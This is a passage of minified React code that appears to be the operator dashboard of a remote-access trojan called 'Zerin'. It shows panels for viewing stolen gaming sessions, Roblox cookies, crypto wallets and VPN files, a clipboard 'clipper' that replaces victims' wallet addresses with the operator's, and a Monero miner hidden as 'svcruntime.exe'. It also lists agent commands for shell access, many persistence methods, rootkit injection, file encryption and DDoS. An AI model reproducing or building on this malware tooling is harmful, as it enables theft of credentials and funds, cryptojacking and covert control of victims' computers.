bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"loginusers.vdf"]}),i.steam.config&&a.jsxs("button",{onClick:()=>j(i.steam.config,"config.vdf"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r
bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"config.vdf"]}),(fe=i.steam.ssfn_files)==null?void 0:fe.map((X,ie)=>a.jsxs("button",{onClick:()=>j(X.data,X.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r
bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),X.name]},ie))]})]}),((q=i.epic)==null?void 0:q.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Epic Games"}),a.jsxs("button",{onClick:()=>j(i.epic.config,"GameUserSettings.ini"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r
bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"GameUserSettings.ini"]})]}),(((ne=i.minecraft)==null?void 0:ne.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Minecraft (",i.minecraft.length,")"]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:i.minecraft.map((X,ie)=>a.jsxs("button",{onClick:()=>j(X.data,`${X.launcher}_accounts.json`),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r
bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),X.launcher]},ie))})]}),((ve=i.roblox)==null?void 0:ve.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Roblox"}),i.roblox.cookie?a.jsxs("p",{className:"text-xs text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-full truncate",onClick:X=>w(i.roblox.cookie,X),children:[".ROBLOSECURITY: ",i.roblox.cookie.slice(0,40),"..."]}):i.roblox.cookie_file?a.jsxs("button",{onClick:()=>j(i.roblox.cookie_file,"RobloxCookies.dat"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r
bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"RobloxCookies.dat"]}):null]}),!((H=i.steam)!=null&&H.found)&&!((Q=i.epic)!=null&&Q.found)&&!((he=i.minecraft)!=null&&he.length)&&!((E=i.roblox)!=null&&E.found)&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No gaming sessions found"})]})}),a.jsx(Rn,{title:"Crypto Wallets",count:((ce=i.wallets)==null?void 0:ce.length)??0,expanded:d.has("wallets"),onToggle:()=>g("wallets"),children:(ee=i.wallets)!=null&&ee.length?a.jsx("div",{className:"space-y-3 p-4",children:i.wallets.map((X,ie)=>a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[a.jsx("span",{className:"text-amber-400",children:X.name}),a.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",X.files.length," file",X.files.length!==1?"s":"",")"]})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:X.files.map((oe,Oe)=>a.jsxs("button",{onClick:()=>j(oe.data,oe.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r
bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),oe.name]},Oe))})]},ie))}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No wallets found"})}),a.jsx(Rn,{title:"VPN Configs",count:((xe=i.vpn)==null?void 0:xe.length)??0,expanded:d.has("vpn"),onToggle:()=>g("vpn"),children:(Ne=i.vpn)!=null&&Ne.length?a.jsx("div",{className:"space-y-3 p-4",children:i.vpn.map((X,ie)=>a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[a.jsx("span",{className:"text-emerald-400",children:X.name}),a.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",X.files.length," file",X.files.length!==1?"s":"",")"]})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:X.files.map((oe,Oe)=>a.jsxs("button",{onClick:()=>j(oe.data,oe.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r
bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),oe.name]},Oe))})]},ie))}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No VPN configs found"})}),(((ze=i.errors)==null?void 0:ze.length)??0)>0&&a.jsx(Rn,{title:"Errors",count:i.errors.length,expanded:d.has("errors"),onToggle:()=>g("errors"),children:a.jsx("div",{className:"p-4 space-y-1",children:i.errors.map((X,ie)=>a.jsxs("div",{className:"text-xs",children:[a.jsxs("span",{className:"text-zerin-text-dim font-medium",children:[X.source,":"]})," ",a.jsx("span",{className:"text-zerin-danger",children:X.error})]},ie))})})]}),v&&a.jsx("div",{className:`fixed z-50 px-2.5 py-1 text-xs font-medium text-white bg-zerin-accent\r
pointer-events-none animate-fade-in`,style:{left:v.x,top:v.y,transform:"translate(-50%, -100%)"},children:v.text}),!i&&!o&&!c&&a.jsx("div",{className:"flex items-center justify-center py-20",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-14 h-14 mx-auto mb-4 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-7 h-7 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})})}),a.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"Credential Recovery"}),a.jsxs("p",{className:"text-zerin-text-muted text-xs",children:["Click ",a.jsx("span",{className:"font-semibold text-zerin-accent",children:"Grab Credentials"})," to recover saved passwords, cookies, tokens, and more."]})]})})]})}function Rn({title:e,count:t,expanded:n,onToggle:r,children:i}){return a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsxs("button",{onClick:r,className:`w-full flex items-center gap-2 px-4 py-2.5 text-left\r
hover:bg-zerin-panel-hover transition-colors`,children:[a.jsx("svg",{className:`w-3.5 h-3.5 text-zerin-text-dim transition-transform ${n?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),a.jsx("span",{className:"text-sm font-semibold text-zerin-text",children:e}),a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:t})]}),n&&a.jsx("div",{className:"border-t border-zerin-panel-border",children:i})]})}const lV=[{key:"btc",label:"Bitcoin (BTC)",placeholder:"bc1q... or 1.../3...",color:"text-orange-400"},{key:"eth",label:"Ethereum (ETH)",placeholder:"0x...",color:"text-blue-400"},{key:"ltc",label:"Litecoin (LTC)",placeholder:"L.../M.../ltc1...",color:"text-gray-300"},{key:"xmr",label:"Monero (XMR)",placeholder:"4...",color:"text-orange-300"},{key:"doge",label:"Dogecoin (DOGE)",placeholder:"D...",color:"text-yellow-400"},{key:"sol",label:"Solana (SOL)",placeholder:"Base58 address",color:"text-purple-400"},{key:"xrp",label:"Ripple (XRP)",placeholder:"r...",color:"text-blue-300"},{key:"trx",label:"Tron (TRX)",placeholder:"T...",color:"text-red-400"},{key:"bnb",label:"BNB Chain",placeholder:"bnb1...",color:"text-yellow-300"}],cV={btc:"",eth:"",ltc:"",xmr:"",doge:"",sol:"",xrp:"",trx:"",bnb:""};function R2(e,t){if(!t)return null;switch(e){case"btc":return t.startsWith("bc1")&&t.length>=25&&t.length<=62||(t.startsWith("1")||t.startsWith("3"))&&t.length>=25&&t.length<=34?null:"Invalid BTC address";case"eth":return/^0x[0-9a-fA-F]{40}$/.test(t)?null:"Invalid ETH address (0x + 40 hex)";case"ltc":return t.startsWith("ltc1")&&t.length>=25||(t.startsWith("L")||t.startsWith("M"))&&t.length>=26&&t.length<=34?null:"Invalid LTC address";case"xmr":return t.startsWith("4")&&t.length===95?null:"Invalid XMR address (starts with 4, 95 chars)";case"doge":return t.startsWith("D")&&t.length===34?null:"Invalid DOGE address";case"sol":return t.length>=32&&t.length<=44?null:"Invalid SOL address (32-44 chars)";case"xrp":return t.startsWith("r")&&t.length>=25&&t.length<=35?null:"Invalid XRP address";case"trx":return t.startsWith("T")&&t.length===34?null:"Invalid TRX address";case"bnb":return t.startsWith("bnb1")&&t.length===42?null:"Invalid BNB address"}return null}function uV({agentId:e,agentStatus:t}){const[n,r]=m.useState({...cV}),[i,s]=m.useState(!1),[o,l]=m.useState(!1),[c,u]=m.useState(null),[d,f]=m.useState({}),p=t==="dead",h=(b,w="ok")=>{u({text:b,type:w}),setTimeout(()=>u(null),3e3)},x=(b,w)=>{r(N=>({...N,[b]:w}));const j=R2(b,w);f(N=>{const k={...N};return j?k[b]=j:delete k[b],k})},g=Object.entries(n).some(([b,w])=>w&&!d[b]),y=m.useCallback(async()=>{if(p)return;const b={};for(const[w,j]of Object.entries(n))if(j){const N=R2(w,j);N&&(b[w]=N)}if(f(b),Object.keys(b).length>0){h("Fix validation errors first","err");return}l(!0);try{const w={};for(const[j,N]of Object.entries(n))N&&(w[j]=N);await Me(e,{command:"clipper_config",args:[JSON.stringify(w)]}),h("Config sent to agent")}catch(w){h(w instanceof Error?w.message:"Failed","err")}finally{l(!1)}},[e,n,p]),v=m.useCallback(async()=>{if(!p){l(!0);try{if(!i&&g){const b={};for(const[w,j]of Object.entries(n))j&&(b[w]=j);await Me(e,{command:"clipper_config",args:[JSON.stringify(b)]})}await Me(e,{command:i?"clipper_stop":"clipper_start"}),s(!i),h(i?"Clipper stop sent":"Clipper start sent")}catch(b){h(b instanceof Error?b.message:"Failed","err")}finally{l(!1)}}},[e,i,n,g,p]);return a.jsxs("div",{className:"p-6 animate-fade-in space-y-6",children:[c&&a.jsx("div",{className:`fixed top-4 right-4 z-50 px-4 py-2 text-sm font-medium shadow-lg
${c.type==="ok"?"bg-emerald-500/20 border border-emerald-500/40 text-emerald-400":"bg-zerin-danger-dim border border-zerin-danger/40 text-zerin-danger"}`,children:c.text}),a.jsxs("div",{className:"flex items-center gap-4",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("div",{className:`w-3 h-3 rounded-full ${i?"bg-emerald-500 animate-pulse":"bg-zinc-600"}`}),a.jsxs("span",{className:"text-sm font-semibold text-zerin-text",children:["Crypto Clipper ",i?"(Active)":"(Inactive)"]})]}),a.jsxs("button",{onClick:v,disabled:o||p,className:`inline-flex items-center gap-2 text-sm font-medium px-4 py-2 transition-colors
disabled:opacity-30 disabled:cursor-not-allowed
${i?"bg-zerin-danger hover:bg-red-600 text-white":"bg-emerald-600 hover:bg-emerald-500 text-white"}`,children:[o?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):i?a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 5.653c0-.856.917-1.398 1.667-.986l11.54 6.348a1.125 1.125 0 010 1.971l-11.54 6.347a1.125 1.125 0 01-1.667-.985V5.653z"})}),i?"Stop Clipper":"Start Clipper"]}),a.jsx("button",{onClick:y,disabled:o||p||!g,className:`inline-flex items-center gap-1.5 text-sm font-medium\r
text-zerin-text-dim hover:text-zerin-text\r
bg-zerin-panel hover:bg-zerin-panel-hover\r
border border-zerin-panel-border\r
px-3 py-2 transition-colors\r
disabled:opacity-30 disabled:cursor-not-allowed`,children:"Save Config"}),p&&a.jsx("span",{className:"text-zerin-danger text-xs font-medium",children:"Agent offline"})]}),a.jsx("div",{className:"grid grid-cols-1 lg:grid-cols-2 xl:grid-cols-3 gap-4",children:lV.map(({key:b,label:w,placeholder:j,color:N})=>a.jsxs("div",{className:"space-y-1",children:[a.jsx("label",{className:`text-xs font-semibold ${N}`,children:w}),a.jsx("input",{type:"text",value:n[b],onChange:k=>x(b,k.target.value),placeholder:j,className:`w-full bg-zerin-bg border px-3 py-2 text-sm font-mono text-zerin-text
placeholder-zerin-text-muted
focus:outline-none focus:ring-1 transition-all
${d[b]?"border-zerin-danger/50 focus:border-zerin-danger focus:ring-zerin-danger/20":"border-zerin-panel-border focus:border-zerin-accent/50 focus:ring-zerin-accent/20"}`}),d[b]&&a.jsx("p",{className:"text-[10px] text-zerin-danger",children:d[b]})]},b))}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 space-y-2",children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text-dim uppercase tracking-wider",children:"How it works"}),a.jsxs("ul",{className:"text-xs text-zerin-text-muted space-y-1 list-disc list-inside",children:[a.jsx("li",{children:"Monitors clipboard for crypto wallet addresses"}),a.jsx("li",{children:"Automatically replaces detected addresses with your wallets"}),a.jsx("li",{children:"Supports BTC (bech32 + legacy), ETH, LTC, XMR, DOGE, SOL, XRP, TRX, BNB"}),a.jsx("li",{children:"Uses AddClipboardFormatListener (event-driven, zero CPU when idle)"}),a.jsx("li",{children:"Config can be updated while running"})]})]})]})}const $2=["pool.hashvault.pro:443","pool.supportxmr.com:443","xmr-eu1.nanopool.org:14433","gulf.moneroocean.stream:10128"];function dV({agentId:e,agentStatus:t}){const[n,r]=m.useState($2[0]),[i,s]=m.useState(""),[o,l]=m.useState(""),[c,u]=m.useState(50),[d,f]=m.useState(!1),[p,h]=m.useState(null),[x,g]=m.useState(null),y=m.useRef(null),v=t==="dead",b=(x==null?void 0:x.running)??!1,w=(S,A)=>{h({text:S,type:A}),setTimeout(()=>h(null),5e3)};m.useEffect(()=>{if(!e)return;const S=async()=>{try{const A=await Xn(e),_=(A.tasks??[]).filter(O=>O.command==="miner_status").sort((O,P)=>new Date(P.created_at).getTime()-new Date(O.created_at).getTime());if(_.length>0){const O=_[0],P=(A.results??[]).find(D=>D.task_id===O.id);if(P!=null&&P.output)try{const D=JSON.parse(P.output);g(D)}catch{}}}catch{}};return S(),y.current=setInterval(S,5e3),()=>{y.current&&clearInterval(y.current)}},[e]);const j=async()=>{if(!i.trim()){w("Wallet address is required","err");return}f(!0);try{await Me(e,{command:"miner_start",args:[n,i.trim(),o||"worker",String(c)]}),w("Miner start command sent","ok"),setTimeout(async()=>{try{await Me(e,{command:"miner_status"})}catch{}},3e3)}catch(S){w(S instanceof Error?S.message:"Failed to start","err")}finally{f(!1)}},N=async()=>{f(!0);try{await Me(e,{command:"miner_stop"}),g(null),w("Stop command sent","ok")}catch(S){w(S instanceof Error?S.message:"Failed to stop","err")}finally{f(!1)}},k=async()=>{try{await Me(e,{command:"miner_status"}),w("Status request sent","ok")}catch(S){w(S instanceof Error?S.message:"Failed to query status","err")}},z=S=>{const A=Math.floor(S/3600),_=Math.floor(S%3600/60),O=Math.floor(S%60);return A>0?`${A}h ${_}m ${O}s`:_>0?`${_}m ${O}s`:`${O}s`};return a.jsx("div",{className:"p-6 animate-fade-in",children:a.jsxs("div",{className:"max-w-2xl mx-auto space-y-6",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("div",{className:"w-8 h-8 bg-amber-500/10 flex items-center justify-center",children:a.jsx("svg",{className:"w-4 h-4 text-amber-400",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})})}),a.jsxs("div",{children:[a.jsx("h2",{className:"text-sm font-semibold text-zerin-text",children:"XMR Miner"}),a.jsx("p",{className:"text-xs text-zerin-text-muted",children:"Monero CPU mining via XMRig"})]}),b&&a.jsxs("span",{className:"ml-auto flex items-center gap-1.5 text-xs font-medium text-amber-400",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-amber-400 animate-pulse"}),"MINING"]})]}),p&&a.jsx("div",{className:`px-3 py-2 text-xs font-mono ${p.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 te
text-sm text-zerin-text font-mono\r
focus:outline-none focus:border-zerin-accent/50\r
disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:$2.map(S=>a.jsx("option",{value:S,children:S},S))})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Wallet Address"}),a.jsx("input",{type:"text",value:i,onChange:S=>s(S.target.value),placeholder:"4...",disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r
focus:outline-none focus:border-zerin-accent/50\r
disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Worker Name"}),a.jsx("input",{type:"text",value:o,onChange:S=>l(S.target.value),placeholder:"worker (default: hostname)",disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r
focus:outline-none focus:border-zerin-accent/50\r
disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),a.jsxs("div",{children:[a.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Max CPU: ",a.jsxs("span",{className:"text-zerin-text font-mono",children:[c,"%"]})]}),a.jsx("input",{type:"range",min:10,max:100,step:5,value:c,onChange:S=>u(Number(S.target.value)),disabled:v||b,className:"w-full accent-amber-500 disabled:opacity-40"}),a.jsxs("div",{className:"flex justify-between text-[10px] text-zerin-text-muted font-mono mt-1",children:[a.jsx("span",{children:"10%"}),a.jsx("span",{children:"25%"}),a.jsx("span",{children:"50%"}),a.jsx("span",{children:"75%"}),a.jsx("span",{children:"100%"})]})]})]})]}),a.jsx("div",{className:"flex gap-3",children:b?a.jsxs("button",{onClick:N,disabled:d,className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r
text-sm font-medium text-white bg-zinc-600 hover:bg-zinc-700\r
disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}),"Stop Mining"]}):a.jsxs("button",{onClick:j,disabled:v||d||!i.trim(),className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r
text-sm font-medium text-white bg-amber-600 hover:bg-amber-700\r
disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 5.653c0-.856.917-1.398 1.667-.986l11.54 6.348a1.125 1.125 0 010 1.971l-11.54 6.347a1.125 1.125 0 01-1.667-.985V5.653z"})}),"Start Mining"]})}),a.jsx("div",{className:"bg-amber-500/5 border border-amber-500/15 px-4 py-3",children:a.jsxs("p",{className:"text-xs text-amber-400/80",children:["XMRig binary must be uploaded to ",a.jsx("span",{className:"font-mono",children:"%LOCALAPPDATA%\\Microsoft\\Runtime\\svcruntime.exe"})," on the target before starting the miner. Use the File Manager tab to upload it."]})})]})})}function Sa({label:e,value:t,valueClass:n}){return a.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border px-3 py-2.5",children:[a.jsx("p",{className:"text-[10px] text-zerin-text-muted uppercase tracking-wider mb-1",children:e}),a.jsx("p",{className:`text-sm font-mono font-medium ${n||"text-zerin-text"}`,children:t})]})}const B2=["shell","powershell","execute","whoami","ps","kill","sysinfo","specs","windows","installed_apps","netstat","ifconfig","env","ls","cd","pwd","upload","download","delete","encrypt","decrypt","screenshot","persist_runkey","persist_schtask","persist_service","persist_startup","persist_logonscript","persist_screensaver","persist_ifeo","persist_bits","persist_com","persist_dllhijack","persist_wmi","persist_portmon","persist_ssp","reg_read","reg_write","rootkit_status","rootkit_inject","restart","shutdown","troll_msgbox","troll_tts","troll_website","troll_wallpaper","troll_taskbar","troll_cd_tray","chat","creds","clipper_start","clipper_stop","clipper_config","ddos_start","ddos_stop","miner_start","miner_stop","miner_status","sleep","exit","uninstall"],fV={queued:"bg-zinc-500/15 text-zinc-400",sent:"bg-zinc-400/10 text-zinc-400",completed:"bg-zinc-400/10 text-zinc-300",failed:"bg-zerin-danger-dim text-zerin-danger",timeout:"bg-zerin-panel-hover text-zerin-text-muted"},_m=["overview","screenshots","files","processes","windows","apps","system","troll","credentials","clipper","ddos","miner"];function mV(){const{id:e}=rl(),t=hr(),[n,r]=Sx(),[i,s]=m.useState(null),[o,l]=m.useState([]),[c,u]=m.useState([]),[d,f]=m.useState(!0),[p,h]=m.useState(""),[x,g]=m.useState(""),[y,v]=m.useState(!1),[b,w]=m.useState(!1),[j,N]=m.useState(()=>{const I=n.get("tab");return I&&_m.includes(I)?I:"overview"}),[k,z]=m.useState(()=>{const I=n.get("tab"),fe=new Set(["overview"]);return I&&_m.includes(I)&&fe.add(I),fe}),[S,A]=m.useState(null),[_,O]=m.useState(!0),[P,D]=m.useState(!1),[V,R]=m.useState(null),[M,W]=m.useState(new Set),[$,U]=m.useState(()=>n.get("auto")==="1"),[B,K]=m.useState(null),[Z,le]=m.useState(-1),[de,we]=m.useState(!1),ye=m.useRef(null);m.useEffect(()=>{z(I=>{if(I.has(j))return I;const fe=new Set(I);return fe.add(j),fe})},[j]),m.useEffect(()=>{z(new Set(["overview"]))},[e]),m.useEffect(()=>{const I=n.get("tab");I&&_m.includes(I)&&I!==j&&N(I)},[n]);const G=I=>{N(I),I==="overview"?n.delete("tab"):n.set("tab",I),r(n,{replace:!0})},te=m.useCallback(async()=>{if(e)try{const I=await qE(e);s(I),h("");try{const fe=await Xn(e);l(fe.tasks??[]),u(fe.results??[])}catch{l([]),u([])}}catch(I){s(null);const fe=I instanceof Error&&"status"in I?I.status:"network";h(I instanceof Error?`${I.message} (${fe})`:String(I))}finally{f(!1)}},[e]);m.useEffect(()=>{te();const I=setInterval(te,5e3);return()=>clearInterval(I)},[te]),m.useEffect(()=>{if(!e)return;let I=!0;const fe=async()=>{try{const ne=await u_(e);I&&K(ne)}catch{I&&K(null)}};fe();const q=setInterval(fe,3e3);return()=>{I=!1,clearInterval(q)}},[e]),m.useEffect(()=>{if(!S)return;const I=fe=>{fe.key==="Escape"&&A(null)};return window.addEventListener("keydown",I),()=>window.removeEventListener("keydown",I)},[S]);const C=m.useMemo(()=>[...o].sort((I,fe)=>new Date(I.created_at).getTime()-
hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20
px-4 py-2 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 19l-7-7 7-7"})}),"Back to Dashboard"]})]})});const Ae=i.hostname||"unknown";return a.jsxs("div",{className:"h-full flex flex-col animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-4 px-6 py-4 border-b border-zerin-panel-border bg-zerin-panel/40",children:[a.jsxs("button",{onClick:()=>t("/dashboard"),className:`inline-flex items-center gap-1.5 text-sm text-zerin-text-dim
hover:text-zerin-accent transition-colors px-2 py-1
hover:bg-zerin-accent-muted`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 19l-7-7 7-7"})}),"Back"]}),a.jsx("div",{className:"w-px h-6 bg-zerin-panel-border"}),a.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:Ae}),a.jsx(hd,{status:i.status,size:"md",showLabel:!0}),a.jsx("span",{className:"font-mono text-xs text-zerin-text-muted",children:to(i.id)}),i.elevated&&a.jsx("span",{className:"bg-zerin-panel-hover text-zerin-text-dim px-2 py-0.5 text-xs font-medium",children:"ADMIN"}),i.status!=="dead"&&a.jsxs("div",{className:"ml-auto flex items-center gap-2",children:[a.jsxs("button",{onClick:async()=>{try{await Px(i.id);const I=st(),fe=window.open(`/vnc/${i.id}`,`vnc-${i.id}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(fe&&I){const q=ne=>{var ve;((ve=ne.data)==null?void 0:ve.type)==="zerin_auth_request"&&ne.origin===window.location.origin&&(fe.postMessage({type:"zerin_auth",token:I},window.location.origin),window.removeEventListener("message",q))};window.addEventListener("message",q)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium
text-zerin-accent hover:text-zerin-accent-hover
bg-zerin-accent-muted hover:bg-zerin-accent/20
